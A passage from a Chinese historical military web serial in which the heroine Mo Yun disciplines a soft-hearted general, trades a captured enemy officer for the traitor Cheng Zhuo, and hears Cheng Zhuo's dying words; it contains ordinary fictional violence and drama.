话音刚落诸将迅速跪地求情，见茉云一脸刚烈，众人都不自觉地将目光投向正啸，眼中流露出请求。正啸微微蹙眉抬起头，眼神中亦透出复杂的情绪扫过众人。
茉云见状，更是忿然的说道：“你们看向他做什么？我倒要问一句，军法无情这四个字，军中做到了吗？当日边鸿远痛失裴关，本就理应军法处置。刚刚卢老太君居然还望天向老卢帅忏悔，问自己是不是当年是不是程卓之事处置不当，这些年没能保护好诸位的父母。”
执礼瞬间抬目望向茉云，怔了半刻，她居然这般直接的当着诸将面前又提及此
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事，可在众人心中到底是卢家负了程卓，还是程卓用心险恶，这又如何定论呢？
“可要我说，老太君就是处置不当，当日程卓就该杀！”茉云的眼神顷刻中透出了狠戾，“他干了那么多恶事，还给他机会改过？结果换得他半生为恶，害死这么多卢家军的良将，让尔等家破人亡，差点让卢家军和抗击峑戎的大业毁于一旦！龚威行，你爹阵亡，你娘殉情之时，他们怎么不同请你啊！”
众人都深吸一口气望向茉云，威行则跪在地上想起爹娘……说不出话来。
茉云俯瞰着他，眼中满是决绝：“为了南境太平，那些卢家军先烈，流血殉国，矢志不渝。南境万民，翘首以盼，将卢将军当做他们信仰！所以才有我爹满腔热血却被程卓那恶贼利用。而你此时说的重情重义，是踩着诸位先烈和南境万民的尸骨跟那些畜生说仁义吗？”
威行带着一丝仓皇失措的神情望向茉云，眼中的迷茫好似才开始反思，眼底终于透出了几分懊悔与愧疚……
“那我真是跟尔等道不同不相为谋。本该踏破凌云的大业，哪儿有那么多道貌岸然的恩义！”她的语气透着不容置疑的决绝，“峑戎能灭，南境能平，此乃大义！只要能完成我爹和义父一生的夙愿，成此大义，我方茉云随时愿意与那些恶贼一同下地狱，永世无悔！”
她站在那里目光如刃，凌冽而无畏，好似她的决心已化作天地间最为坚硬的利刃，任何都无法撼动。将士们不禁屏息凝神，纷纷仰望着茉云心中涌起一股莫名的敬畏和热血。
“龚威行，我今日就先收拾了你，让你这个爹阵亡、娘殉死、家破人亡的还不识仇敌，在此假仁假义的废物，去见你爹娘！”她猛地上前，几脚踢得威行瞬间倒在地上，他没有丝毫抵抗，一口鲜血喷出，周围的将士跪地却无一人敢上前阻止茉云的暴怒。茉云几脚下去，威行好似都已无法承受。
沧海则满脸焦急地望向正啸：“少帅！”
瞬间，一股不可抗拒的力量将茉云拉了回去，她转身愤怒地瞪着正啸，指着威行大声训斥道：“当年洪凯要杀你，他就为他求情，还问为何不给机会，给机会让洪凯再杀你吗？今日他居然还来祸乱军心，说要对那些恶人重情重义，卢正啸，你还能容他？你们卢家军被这仁慈二字害得还不够吗？”
周总教头此时站在一旁，也忍不住咬牙切齿，含着泪骂道：“少帅，你不要为这小子求情，他该！”
正啸深吸一口气强行拉住茉云，见她脚上的伤口再次渗血，不容质疑的下令道：“都下去忙各自军务吧。”
说完，正啸看了沧海一眼，沧海马上心领神会，走上前扛起威行就走。
“就这么放过他？不可能！”茉云仍旧愤怒不已不肯罢休，指着骂道，“你们也都给我记住了，谁要是敢起歪心，坏了剿灭峑戎平定南境这事，我管你仁义道义，我这一刻就送你们去见爹娘，去跟他们说什么恩义道德吧！”
正啸无语的拉着茉云坐下，眼神瞬间柔和了几分，看向万莫说道：“万莫，去将白神医请来！”
“我绝不可能就这么放过龚威行的！”茉云依旧满脸忿然端起旁边正啸的茶一饮而尽。
正啸则看向茉云，温和却带有几分无语地说道：“去将盔甲脱了！”
“什么？”茉云瞬间愣了半刻，看向正啸一时都未反应过来：“你要干嘛！”
“冬日清冷，你又不上阵打仗，穿什么盔甲……你觉得我要干嘛？”
茉云瞬间有些无语地躲开了正啸的眼神，脸上却不自觉的闪过一丝红韵。
307.城府
待白神医和不言走入营帐，正啸抬手便将坐着的茉云抱起，放她坐在案几上，望向白叔自然地说道：“白叔，你帮她看下脚上的伤。”
白神医摸着胡须看向正啸愣了半刻，嘴角露出一丝明显带着调侃的笑意，走上前认真的擦看茉云的伤势，然后娴熟地接过不言递过来的药箱，取出药为她撒上。
“还好，但你这般折腾，恐难以完全愈合。”白神医语气虽平淡，但显然含着一丝责备，将药放回了药箱。
不言则无语的望向茉云，语气忿然而直接地抱怨：“你也是，将威行将军伤成那样！”
“他自找的！”茉云没好气说着，然后俯身有些艰难的穿鞋袜。
正啸自然且温和的靠近，轻轻替茉云穿好鞋袜，众人不禁侧目望向他，他本是一力拔山河的魁梧将领，大家好似从未见过他如此小心翼翼而柔和的样子。
就在这时，若辰正好走进了帐内，看到正啸都不禁愣了一下，微微笑了。
而不言正站在一旁，抱着胸看着这一幕，嘴角亦浮现出调侃地笑意说道：“方茉云，我做梦都没有想到，你能有今日，能让卢大人给你提鞋穿袜。”
茉云微微抬眉也乐了，故作感叹的说道：“那是，你兄弟我出息了！”
众人顿时哄堂大笑，正啸无语的眼神中都显出一丝对茉云的温和。
此刻，执礼则速速前往了老太君的营帐汇报了此事，元帅愣了半刻望向亦刚走进来的震北问道：“那丫头不是说去劝劝他们吗？怎么要如此处置威行，到底咋回事？”
“她骂了也打了，然后威胁众人说，谁要是敢起歪心，她就弄死谁，让他们去死了的爹娘那里聊恩义道德！”震北想着补充道。
元帅无语的端起茶喝了一口，一脸不知该说什么的神情。东山和执礼相视一笑，这便是茉云那强大又强盗的逻辑。
老太君则嘴角上扬透出了笑意望向元帅道：“你们还说你娘我，寡恩刻薄苛待于人吗？”
“老太君您定然是讲理顾全大局的！方茉云嘛……”震北长叹一口气无奈的说道，“她反正不论干出啥事，谁也不会觉之不正常，只会让人想该如何招架！”
卢老太君拄着拐杖被逗笑了，说道：“她还去拔刺？她就是这人世最大的刺头！。”
午膳时，茉云又被传来了元帅营帐用膳，她一瘸一拐地走进主营，元帅见状，眼神立刻充满了关切地问道：“伤势怎得如此严重，快坐下。”
茉云望向元帅一脸感叹地说道“元帅，我没想到威行那小子，脑袋不灵光，骨头却结实，下次还是操家伙打合适。”
元帅差点被呛到，无语地看着茉云长长叹了一口气，目光中都是无可奈何。众人忍俊不禁，卢依妮坐在元帅身旁都忍不住笑出了声。
正啸、若辰、怀逸和沧海等人正好也走了进来一同用膳，恰逢老太君抬目望向茉云：“你打算如何处置威行啊？”
茉云夹起饭菜，风轻云淡地说道：“赶他出军营，让他回京，就算了吧！”
众人皆愣住了，沧海吃惊的望向她，而震北直接问道：“茉云，他罪不至此吧？”
茉云则一脸平淡地继续吃饭，轻描淡写地说道：“中州时我就觉得他不适合待在军营，离开回京也好。”
元帅听后想为威行说情，语重心长的说道：“茉云啊，威行这小子是个愣头青，虽然他有时莽撞，但胜在赤诚、忠勇，为人直率，说起来倒有几分像我。”
茉云则瞬间露出一脸灿然的笑容，看向元帅说道：“瞧您说的，您是元帅，让您回京也不合适啊？”
元帅顿时愣住，眼神复杂地望向茉云。执礼和东山相视一眼，似乎在拼命压抑着笑意。
震北带着几分试探的说道：“茉云，都是自己人，何至于此啊！威行那小子，自幼军营再大，这十几年就没离开过正啸身边，让他一个人回京，不等于要他命吗？”
“不是说军法无情吗？自己人是何意啊！”
“自己人就是……你看，不论是家里还是军中，谁都信你敬你，没把你当外人的意思！”
“是吗？那程卓先对我拔刀的，你们却差点将我军法处置了不是吗？”茉云望向震北眼神顿时透出了冷凌，震北瞬间不敢再说什么，只得埋低头吃饭。
全场忽然变得寂静无声，卢老太君则嘴角上扬地扫了众人一眼，然后眯眼望向正啸，正啸却一言未发，她轻轻笑着“哼”了一声。
用完午膳，茉云一脸刚烈的起身准备要走，走到营门却碰见万莫咚咚咚的跑了来，气喘吁吁说道：“茉云，你要处置威行？”
“嗯！”茉云没好气的说道，但是看向万莫的神情还算温和。
“为什么？”
“因为他在这总帮倒忙！”
“不是！”万莫一脸的坚决的说道，众人都抬起头看向万莫，他居然如此直接反驳茉云。
茉云也丝毫不恼的望向万莫说道：“那他能干嘛？”
“他能帮忙，上次在裴桥的军营，就是好多杀手……那个杀手在后面，我和哥在左右，来不及了，我吓坏了，幸亏威行在后面，出了好多血。”万莫着急得说着，有些语无伦次，众人都未听明白他说什么。
茉云顷刻间若有所思，然后望向万莫笑了说道：“你这么说……他也确实并非一无是处！”
万莫则鸡啄米似的点头说道:“对，我跟他商量过，我休息时我哥要是没空，就他护着少主的安危，他说好！”
茉云温和的笑了拍拍万莫的肩膀说道：“好，那我再想想！”
说完茉云便走了，卢老太君则笑了站起身，依妮马上上前扶着卢老太君，老太君边走边叹气的说道：“我卢家人真是出息啊！”
依妮则笑得不行说道：“太奶奶，平日里茉云姨就刚强，如今他还占了理。”
“哎！”老太君走出去之时，满满都是奚落的看了正啸一眼，正啸一脸无语的依旧一言不发，若辰等人皆看出了老太君的眼神，顿时忍俊不禁。
茉云和万莫两人一道走在军营中，茉云从兜里掏出零嘴和瓜子和万莫一起吃着：“万莫，是谁让你来跟我说情的！”
“我哥！”万莫开心的吃着零嘴说道。
“那也定是卢正啸让千山来跟你说的！”茉云没好气的说道，“你少主何时也知道弄这些弯弯绕绕！”
万莫则一边认真的磕着瓜子一边直接的说道:“少主不想跟你吵架啊，跟你吵架动手他不开心！”
“说得好像他动手动少了似的！”茉云一脸不爽的继续磕着瓜子！
“真的，前几天你跟少主打了一架跑了，晚上少主突然问我，你是不是跟我说了什么！我说是，你让我寸步不离呆在少主身边。然后少主很晚都没睡，我知道他很不开心！”万莫边吃边想着说道。
茉云磕着瓜子的手停住了看向万莫，那他应该早发现了，但是最终也没有阻止自己去探寻自己想要的真相……
而此时忽然有人来报，军营外有西南部落中人送来一个大麻袋给茉云，茉云抬目看了过去，起身对万莫说道：“去跟威行说，让他去营门等我，我给他一次机会！再帮我去跟元帅说一声，我出营了，去将那人带回来！让他……不要出营，也不用担心，我自有分寸。”
营门口的寒风中都夹杂着一丝肃杀之意，茉云端坐在马背上，目光如炬地望向疾
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步赶来的威行，声音沉稳而淡然说道：“给你一个机会赎罪，跟我走一趟。若你能完成任务，便可继续留在营中。但这一路，我不保证你能活着回来，去否？”
威行闻言，丝毫没有犹豫地应道：“好！”
茉云随即抬鞭指着地上那沉重的麻袋，语气冷冽的说道：“将此人带上，随我来。”
说完，她毫不迟疑地策马飞驰而出，身后的披风飞扬空中，在苍野化成一道凌厉的风。
威行皱眉望向那麻袋，迅速俯身解开麻袋，当看到被绑之人，他的眼神一震愣了半刻。但下一瞬，他毫不迟疑地扛起那人，将其牢牢绑在马背上，旋即一跃上马，策马疾驰，头也不回地追了上去。
与此同时，主营中众人听到万莫的通报，正啸正翻阅军务，闻言猛然抬头望向万莫。元帅也随之站起，脸上闪过震惊，沉声问道：“茉云就这么单枪匹马去要人？”
东山见状，连忙宽慰道：“元帅，方将军向来有她自己的办法，她都说了自有分寸，您无需过于担忧。”
“她何时知道分寸了？”
正啸则眉头紧锁疾步走出了营帐，直奔营门口，神情中透着隐隐的不安。当他走到营门口时，润吉脸上仍带着未褪去的惊愕，仿佛还未从刚才发生的事中回过神来。
跟着走来的执礼见状，旋即问道：“润吉，刚究竟怎么回事？”
润吉猛然晃过神，连忙像正啸行礼，语气仍带着几分震惊地说道：“少帅，刚刚西南部落的人送来一个麻袋，龚将军打开之后，末将瞧见里面居然是昏迷被绑的幽戎副将——集益。然后，方将军让威行带着集益出营，随她走一趟。”
正啸闻言，眼神骤然一沉，拳头渐渐握紧，目光投向茉云远去的方向，眼底深处顿时翻涌着复杂的情绪。他知道此时不论是自己出营，还是命部下带队前去，都是平添她的变数……她定是早就让部落人带话给峑戎，约好了单枪匹马去换人质。
此刻的风带着一丝寒意，卷起尘土，在营门口掀起淡淡的灰雾，正啸咬牙转身，冷冷地回了自己营帐。
萧怀逸站在若辰身旁，眼神阴沉而凌厉地说道：“她是抓了集益去换程卓？”
若辰目光深邃，望着远方茫茫苍野，轻轻叹了口气，语气中透着一丝担忧：“应该是。”
萧怀逸微微皱眉，眼底闪过一丝寒光，说道：“我听闻那幽戎的副将集益，自幼便在幽戎身旁，不离不弃！”
他缓缓伸手摸着腰中悬挂着的佩玉，眼神冷冽望向远方，身旁的若辰和东山都不禁望向他，他显然话未说完。
“我还听说，幽戎是绝不会杀方茉云的。”他抬起头，目光好似透过苍野望向远方，“看来是这集益自作主张，联合了西南部落中的势力暗杀方茉云，结果却惹得幽戎大怒，将他赶回去。方茉云算准了此事，趁其落单之时，让西南部落的人又将他逮了去换程卓。”
执礼和东山相视一眼深吸了一口气，亦望向了茉云远去的方向，营门外的风声呼啸而过，卢家军军旗在风中猎猎作响，好似也在预示着这场博弈的凶险。
萧怀逸说着，冷冷地笑了一声，眼中满是不解与讥讽：“若辰哥，如此城府，如此心机，对自己人都如此狠辣的女子，有何值得正啸哥喜欢。”
“我不知如何回答你，但我知若你此时去问正啸，那便是做这辈子再也不打算进卢家军军营的打算了。”若辰双眉微蹙的看向萧怀逸说道，说完亦转身走了。
他知道，方茉云每一步狠辣的棋，每一桩城府算计，每一次九死一生，不过都是为了一个人而孤注一掷，为了他们能在绝境中翻盘，可她难道真的从来没想过，他会是什么心情……
308.配得上
冬日的午后，荒野静谧而寒冷，空旷的天地仿佛只剩下寒风的呼啸。阳光穿透厚重的云层，洒下的光线苍白而无力，照在微微干裂的土地上，枯草在风中沙沙作响，偶尔有几只孤独的野鸟从空中掠过，留下几声低沉的鸣叫。
大地显得毫无生气，连寒冷都带着一丝压抑的气息。茉云和威行走在这片荒野上，风霜将茉云的脸庞划得生疼，但他们依旧坚定前行，彼此之间并没有多余的话语。
走了将近一个时辰，茉云终于看到了黑风谷的轮廓，那便是约定的地点，她停下脚步目光透过寒风凝视着前方，指着黑风谷的方向说道：“去吧，去跟幽戎将程卓换回来。”
威行毫不犹豫地点了点头，坚定的眼神中没有一丝退缩。
茉云眼中突然闪过一丝狠戾，语气略带沉重地继续说道：“但是程卓不能回营了，知道什么意思吗？”
威行此刻愣了一下，愕然地望向茉云，好似还在想着她话中的深意。
“威行！卢正啸将你带在身旁这些年，你却好似从未清醒过一样。你总觉得他如此强大，所以反而去同情那些看似悲惨弱小的人，但其实卢正啸惨得不能再惨了。”茉云顿了顿，眼神中透出一丝沉痛，缓缓继续说道，“想想他们对卢正啸做的那些事，若发生在你身上，你扛得住吗？”
威行深吸了一口气，瞬间皱紧了双眉，咬牙看向远方。
“也许你无法感同身受，因为你从未经历过这些。那些恶人没有信守他们当年的承诺，但卢正啸却无论如何……都信守着他对你爹娘的承诺，将你带在身边，待你如亲弟一般。”
威行的眼眶渐渐湿润，他点了点头，声音哽咽的说到：“我明白。”
茉云微微握紧了双拳，眼神再次闪过一丝冷厉：“程卓若回营，杀卢正啸不成，他是如何霍乱军心的，你看见了，他若再回京，更会不顾一切的攀扯撕咬卢家，懂吗？”
威行咬牙坚定地点了点头，顿时双眼中迸射出再无迟疑的光，说道：“放心，就算与他同归于尽，我也不会让他有这个机会。”
茉云深吸了一口气，缓缓地点了点头，目光依然冷峻：“去吧。”
“好，你离远点等我。”
茉云望着威行渐行渐远的背影，内心泛起一阵复杂的情绪。她知道，他这样一个温暖而开朗，处处替他人着想之人，无论身处何地，都能过好一生，奈何他却从了军……
威行骑马进入了黑风谷，看到前方的空旷中有一匹高大的烈马，马背上端坐着一魁梧而威武的男子——幽戎。
他眼神锐利地看了过来，铠甲闪烁着冷冽的光辉，透露出一种威慑四方的气息，黑色的披风在风中飞扬，脸上刀锋般的轮廓与深邃的眉眼交相辉映，带着一股不可一世的霸气。而嘴角那抹邪魅的冷笑和他那微微敞开的衣领，又透出一种深深的不羁与从容。
可让人觉之奇怪的是，他身前居然坐着一个三岁的小儿，那孩子同样眼神炯炯有神，伸长头也望了过来。
幽戎看向威行眼中掠过一丝锐利，淡淡说道：“回去吧，让方茉云来！”
威行无语地站在原地，片刻后一脸淡定的说道：“幽戎元帅，谁来不是一样吗？只要集益是真的。”
他顿时揭开蒙在集益脸上的布，又扯掉了集益嘴里塞着的布条。
集益看向幽戎，仿佛终于松了口气，但依旧懊恼的大声喊道：“主子，不用管我，是属下护佑少主不力，罪该万死，属下死不足惜！” 他眼中透出一丝痛苦与悔恼。
威行顿时耸耸肩，轻松地调侃道：“诶，兄台，怎的……您也是一个年轻力壮的男子，虽然脑袋和我差不多，但怎么比得上一个老头还是值钱点？这买卖你们也不亏啊！”
幽戎的嘴角微微上扬，眼中闪烁着的锐利，减了几分说道：“龚威行，叫方茉云来吧。”
威行长叹一口气，摸着自己脸，露出一脸无奈的神情：“我还能叫动她吗？”
幽戎看着威行那一脸的鼻青脸肿，伤势也不比集益好多少，不禁被逗笑了，那丫头素来就喜欢打人脸，问道：“也是方茉云打的？”
“啊！你说她是不是有病。”威行一脸惨痛地说道，语气中充满了无奈和痛苦。
就在这时，从黑风谷左边山上传来了一个熟悉的声音，冷冷地说道：“龚威行，怎得卢家军里没告成我状，跑来峑戎告我状了？”
幽戎顷刻脸色露出了笑颜，眼中闪过一丝玩味，望向她说道：“方茉云，我如约也只来了两人，你跑那么远干什么？”
茉云骑着马儿，缓缓从树林中走了出来，一脸英气逼人的站在崖边，风吹起她的衣袍，她轻轻俯瞰着幽戎，眼神凌冽且从容的指着问道：“这你儿子啊？”
幽戎温和一笑，微微点头，摸了一下怀中小儿的头说道：“嗯。”
茉云忍不住翻了个白眼，没好气地说道：“你们峑戎着实到了穷途末路了，三岁小儿都来上战场？你居然还把他托给集益，那白痴当时丢下他，想自己去引开我，我当日是没空问，今日倒想问你一句，集益啊，你把我引开，把你少主子丢在那儿，喂狼啊？”
“方茉云，你不比狼恐怖，恶毒啊！方茉云，你个贱人……”集益顿时瞪着茉云就破口大骂到，威行无语地只能将布条塞了回去。
顿时众人哄堂大笑，幽戎亦畅快的笑了，他怀中的孩子抬起头看向自己父亲，好似第一次发现自己父亲还能这样笑……
幽戎伸手将手放在自己儿子头上，望向茉云笑着说道：“那日这小子问我，这世上最喜欢什么？他说想看看，于是我就带他来看看。”
茉云闻言却一脸无语，眼神中带着无奈和冷漠：“你这爹脑子有病！”
幽戎的儿子似乎能听懂茉云的话，轻微抬起头看了看茉云，眼中透出的都是好奇。她居然敢这么跟自己父帅说话，父帅不但不恼，却还这般开心。
幽戎笑着不以为然的看向茉云说道：“你怎么知道我在这？”
茉云冷笑一声想着说道：“我那日被阴了，差点小命玩完，得救之时，听到你的马蹄声，要不是狼王阿灰走了，我送他去了。不然当时就把你小子给逮了，你也是够嚣张的，敢如此单枪匹马，这儿可是西南部落，不是你峑戎，你少来祸祸！”
幽戎依旧笑着，双眸透出几分轻松说道：“方茉云，你还真是一如既往地狼心狗肺。”
茉云冷哼一声，无语撇开了目光说道:“废话少说，换人吧。”
幽戎随即挥了挥手，指着已扔在路边的麻袋，示意威行去处理。威行立刻下马，毫无畏惧飞奔上前将麻袋打开，里面真的是程卓，他亦是满身伤横。
程卓的面容因为伤痛而变得扭曲，仍旧抬头看向幽戎，嘴角勾起一抹冷笑，讽刺道：“没想到，堂堂的峑戎元帅，竟然被一个女子所、如此蛊惑。”
幽戎神情冷峻，眼底却有一丝深深的厌恶，看都未看程卓一眼，像他这种背信弃义，背叛自己兄弟和国家之人，让幽戎听见他声音都觉得恶心
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！
茉云则不以为意，冷笑着说道：“老乐，行了，你也省省吧，这家伙跟你不一样，他和卢正啸是一种人，使命感爆棚！哪怕全天下的人背叛他们，他们也不可能做出你做过的事。他不会同情你的。”
幽戎的眼神缓缓落在茉云的身上，停留了一瞬，心中泛起一丝波动，但他并未言语。
程卓则冷冷地看向茉云：“没想到你还有这等能耐，如在世妲己，既能在卢家军蛊惑卢正啸，又能在敌营里撩动风云，魅惑敌方元帅。”
“你胡说八道什么呢！”威行顷刻间不满地骂道，此时幽戎的目光也顿时锐利如刃，眼神冷冽地瞪向程卓。
只有茉云轻松一笑，毫不在意地调侃道：“诶，你还曾经考取过功名，你别在人少数民族的孩子面前胡乱传播我中原的文化行吗？妲己可是绝世美女！”
说着，茉云微微拔出剑，照着自己的脸，挑眉戏谑的说道：“我？苏妲己？你有没有搞错啊！”
幽戎顿时又被茉云逗笑了，而威行也忍不住笑出声来。随即，威行将程卓再次押入麻袋，扛过去放在马上，然后将集益扛下，轻轻走过去放在路边，然后抱拳行礼准备告辞。
可就在此时，茉云忽然听到一阵急促的马蹄声越来越近，直入黑风谷而来。她心中一震，朝威行喊道：“威行，小心有人抢了程卓！”
威行立刻反应过来，迅速奔向自己的战马，但众人显然低估了来者的速度。就在威行要握住缰绳之时，一个身影已猛地掠过，速度之快犹如猛虎下山。
那人——正是老影，他骑术本就出神入化，再以迅雷不及掩耳之势，猛然扑向程卓的麻袋，几乎让人来不及反应，直接一把将麻袋扛上了自己的马，就飞驰而去。
茉云眼中顿时闪过一丝忿然，快速摸向自己的背后的弓，才猛地想起——自己的弓在之前被埋伏时已损坏。
她目光旋即狠戾地瞪向幽戎，眼神冰冷如寒风地说道：“行啊，幽戎，我从未想到你竟然有这般好心肠，为这个曾让你交到至交好友的贼人，留条活路。”
话音刚落，幽戎面无表情冷冷抬起长弓，动作快得几乎如闪电，弓弦猛然一拉，一道银光划破了天空，气势如虹直直射向老影马上的麻袋，箭矢之迅猛，几乎不可阻挡。
一箭命中，老影的马仍然没有停止，迅速冲出了黑风谷，带着程卓消失在众人视线之中。
茉云深吸了一口气，看向威行说道：“不用追了。”
威行转头看向茉云，看见茉云不容置疑的眼神，他方才停了下来。茉云知道幽戎这一箭杀伤力是绝对致命的，老乐已被射中，必定无生还之可能。茉云不禁望向幽戎，那日夜里射向自己和卢正啸的那刚猛一箭，定然也是他射的，而他本来是射得中的。
幽戎端坐在马背上，淡淡地拉住缰绳，好似看穿的了茉云眼中之意，坦诚的说道：“我是怕你替卢正啸挡那一箭。”
茉云冷冷地转过身，准备骑马离开。
幽戎则望着茉云，声音低沉却赤诚：“方茉云，在他跟我宿命一战之前，他能给的不过都是虚情假意，我也一样。你这一生已走过这么多深渊地狱，还不如将你还给人世热闹，何苦再牵扯其中。”
茉云停了片刻，她没有回头，但是冷冽的笑了说：“你总想这些有的没的，而我方茉云此生就想一件事，我一定要配得上这一生走过的深渊地狱！”
幽戎看向茉云那决绝而狠戾的背影，嘴角又透出一丝难以掩饰的笑意。
309.恩仇
茉云和威行在黑风谷出口处汇合，威行看向茉云，眼中满是焦急，“不追了？”
茉云深吸一口气，目光凝视远方的天际，眼中带着一丝寒意，“幽戎的那一箭下去，程卓不可能生还。”
威行听后，方才松了一口气，心中的一块大石也终于落地，但他随即又问道：“幽戎为何要杀程卓？”
茉云沉默了片刻，她自己也没有答案，他是因为自己提及当年程卓和峑戎国师勾结，让正啸和幽戎成为幼时的至交好友，而被激怒；还是幽戎那一刻领会了自己想要阻止程卓回营的意思，知道自己提及此事便是想逼他杀程卓，他便帮自己直接动手了。
她深吸一口气，收回了思绪，言辞平静，“不管如何，能解决此事就好。”
然而，就在两人回营的路上，眼前突如其来出现的一幕，让他两都停下了脚步。前方，老影正扶着一身是血的程卓，躺在地上，似乎在等着她。
两人下马，威行急忙要拦住茉云，但看到她沉着而不为所动的眼神，便默默地放开了手，随她一起走过去。
茉云走近时，程卓眼中闪过一丝温暖，他虚弱地笑了，望向茉云，眼神中好似带着这一生的疲惫，但眼底依然透着那股不屈的倔强。
老影紧紧握住程卓的手，眼中充满了无奈和痛，长叹一口气说道：“哎！这又是何苦呢？你杀了她爹，是人世上她最不共戴天的仇人，但是又是你给了她活路。云丫头，当年便是老乐要我告诉你，要咬着牙活着，要站着活得像个人！”
“当年？”茉云深吸一口气笑了，望向程卓说道：“老乐，那日卢正啸忽然跟我说，当年……可叹他爷爷走得太早，不然他爷爷一定不会放弃你，不会让你走上今日之路。”
程卓望着她，眼神中逐渐浮现出一丝红润，含着嘴里的血说道：“云丫头啊，你真是狠啊。”
他的声音渐渐已经失去了力量。老影的眼中浮出了怒意望向茉云，他不愿看到自己老友在最后一刻，还被人击穿，被人诛心，被人说是作茧自缚，让程卓哪怕是带着这一生的最后的倔强走也好。
茉云却深吸一口气，坐在程卓身边，语气平缓而冷静的说道：“昔日，我在御史台查案，查阅卢家的奏折时，看见过老卢帅临终前不久，曾写给先皇的奏折。他说你虽行诡计，但亦是谋断，非心存大恶，实乃欲得上官之认可，求志之所寄耳。日后若得君王之厚恩，方能引其心志，行正道，成大器。求圣上垂爱，陟罚臧否，仁德感召，成全其志，其必以雄才大略担当朝廷重任。”
程卓的目光凝视着茉云，眼中似有波澜，但未能言语。
茉云轻轻地说道：“信与不信，在乎你自己。我这人，也确实可能骗你，但我也属实知道你为何一定要杀我爹，因为羡慕我爹那种赤诚而热血的活法，而你的一切皆被摧毁。”
程卓渐渐闭上了眼睛，不知是眼皮还是心更沉重，似乎终于要被无尽的疲惫和痛楚所压垮。
茉云眼中却闪过一丝狠戾，深深看着程卓问道：“可是我想问你，到底是卢家狠，还是那个将老太君所说的话，尽数告诉你的背后之人更狠。黄泉路上，你可以自己好好思量，当然你亦可以都放下……”
程卓的眼皮微微颤动，忽然睁开眼睛，眼神中透出最后一丝执念，他用尽残存的力气看向茉云，声音沙哑地问道：“老卢帅在奏折中……如何称呼我的？”
“卓良！”茉云望向程卓笃定的说道，“其实我本也记不住那么多奏折，不过是这名字，朝中查无此人，他又得卢帅如此赏识，我便是查了良久，才知道卓良指的是你，因为你入仕之时，已经改为单名卓，故而我有印象。”
程卓的身子微微一震，眼神中刹那间浮现出太多复杂的情绪……他的指尖微微颤抖，费力地握紧了拳头，泪水终于倏然滑落，好似这一生的所有挣扎与不甘，在这一刻彻底崩塌，这个世上——只有他爹和老卢帅自幼称呼自己为卓良！
他曾以为自己从一开始便是被利用的弃子，曾以为卢家军从未真正容纳过他，然而……
茉云望着眼前的人，心中百感交集，她深吸了一口气，收起所有的怜悯和仇恨，冷静地说道：“今日算我终报了杀父之仇。但你的救命之恩，我也不想欠着。若你想的话，我日后可将那奏折偷出来，烧给你看，就看你……还需不需要。”
“好！”程卓的唇微微颤抖，像是连说话的力气都要耗尽，他的眼神深邃得像是一片死寂的湖面，然后他依旧沙哑地吐出这个字，带着最后的执念说道，“你烧给我……”
“可以！”茉云忽然微微俯身与他平视，目光瞬间犀利如刀地问道，“那你告诉我，是谁将老太君的话告诉你的？是卢家军中人吗？”
程卓的瞳孔微微收缩，像是触碰到了他灵魂深处的秘密和痛楚。他深深地吸了一口气，泪水早已模糊了视线，嘴唇微微开合，好似脑中在用最后一刻的执念回顾自己的过往，他摇摇头。
茉云的眼神陡然变得更加凌厉，声音低沉而急迫的问道“是太师吗？”
程卓的胸膛剧烈起伏，他用尽最后一丝力气，抓住茉云的手臂，气若游丝地吐出最后的字眼：“是……不是……”
他的声音断断续续，似乎想说出口，却又被无形的枷锁束缚，被最后一丝情感拉扯。
茉云眼神一凛，咬牙低吼道“告诉我，到底是，还是不是？或者是谁！”
程卓的目光渐渐涣散，他的嘴角微微扬起，带着一丝释怀的笑意，眼神又好似终于看透了世间的一切，他的手掌微微收紧，声音极低却坚定的说道：“云丫头……你不要再管这些……恩怨是非，管不尽的……大战之后……带着啸儿……远离京城……离开那……吃人的深渊……去过好这一生。”
他的话好似深深地喘息，眼神却透出最后的清明，茉云怔住了，心猛然收紧，她的目光深深地望向程卓那意味深长地眼神，但她能看出这一刻，他的眼中再无一丝阴诡，只有深深地关切。
而老影在一旁泪水滑落，声音颤抖地说道：“老乐，今生挚友一场，告诉我，你最后想去哪儿。”
程卓的眼神开始黯淡，他的嘴唇微微开合，轻声低喃：“老影……你也……放下吧……我们……终归都是棋子，让云丫头……将我……带回去……哪怕……曝尸荒野……也好……带我回去……”
老影的泪水终于忍不住落下，颤抖着点头，说道：“好……但你放心，我绝不会让你曝尸荒野，一定会让你入土为安的！”
“那碑上……就写老乐……吧！”程卓最终沉沉的闭上了自己的双眼。
老影瞬间感受到程卓的手臂沉沉落下，他痛哭着，这是与挚友一生的诀别和最后的承诺，沉沉说道：“好！”
风声凄厉，程卓嘴角依旧残留着那一抹苦涩的笑意，好似终于解脱，带着未尽的秘密和最后的释然，走了。
夕阳缓缓沉落，残阳的余晖洒在荒野上，寒风呼啸，卷起地上的枯叶，在天地间旋舞不休，空气中透着刺骨的凉意，好似要将人的心也冻结。
茉云站在风中，沉默地凝视着，看着老影的泪水在他沧桑的脸上横流，不知为何自己眼角也觉得滚烫。
此刻诀别的——是一个与自己仇深似海的人，他曾也知道自己，绝对是该斩草除根之人，却最终没下得去手，还在自己最无助、最绝望之时，告诉自己要站着活下去。
她抬目望向远方，好似回到了自己少时，站在草原上，老乐咬着狗尾巴草傻笑着跑来，看见他傻乐的样子，顿
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时自己好似也能将一切不忿抛到九霄云外……原来仇恨捆绑着恩情是竟也如此沉重，茉云最终轻轻解下了自己披风，缓缓地覆在他的身上。
老影静默的起身说道：“云丫头，记得老乐的话，去过好自己这一生。”
茉云深吸一口气看着老影说道：“好，我带他走了。”
风依旧在吹，带着荒野的孤寂和无法言说的过往。老影缓缓转身离去，他的身影在残阳下被拉得极长。
茉云和威行一路回营，马蹄的节奏缓慢而沉稳，但她的思绪却如同狂风掠过平静的湖面。那些年里，那些已逝的挚友，一个个浮现在她的脑海中……
他们终于回到了军营，元帅和诸将都走了出来，看到一动不动的程卓，营中顿时弥漫开一股沉默的氛围。
茉云抬目望向了元帅身旁的正啸，正啸神情看似波澜不惊，但她好似忽然间能感受到那股冷淡，正啸看都未看自己一眼，便转身离开，茉云双眉微蹙，微微咬牙……
此时夜幕渐渐降临，四周的寒气愈加刺骨，风如刀割般刮过，吹得人身心俱凉……
晚膳时，茉云和威行被传入元帅营帐用膳，顺便汇报此事。威行恭敬地将事情的原委说给众人听，而茉云则一言不发，低头默默吃着饭。说完众人又陷入一片沉默。
就在这时，萧怀逸忽然望向茉云，嘴角微扬，眼中却带着一丝清冷：“我有几个疑问，可否问一下方将军？”
“说。”茉云眼中闪过一丝冷光，冷冷的回应道。
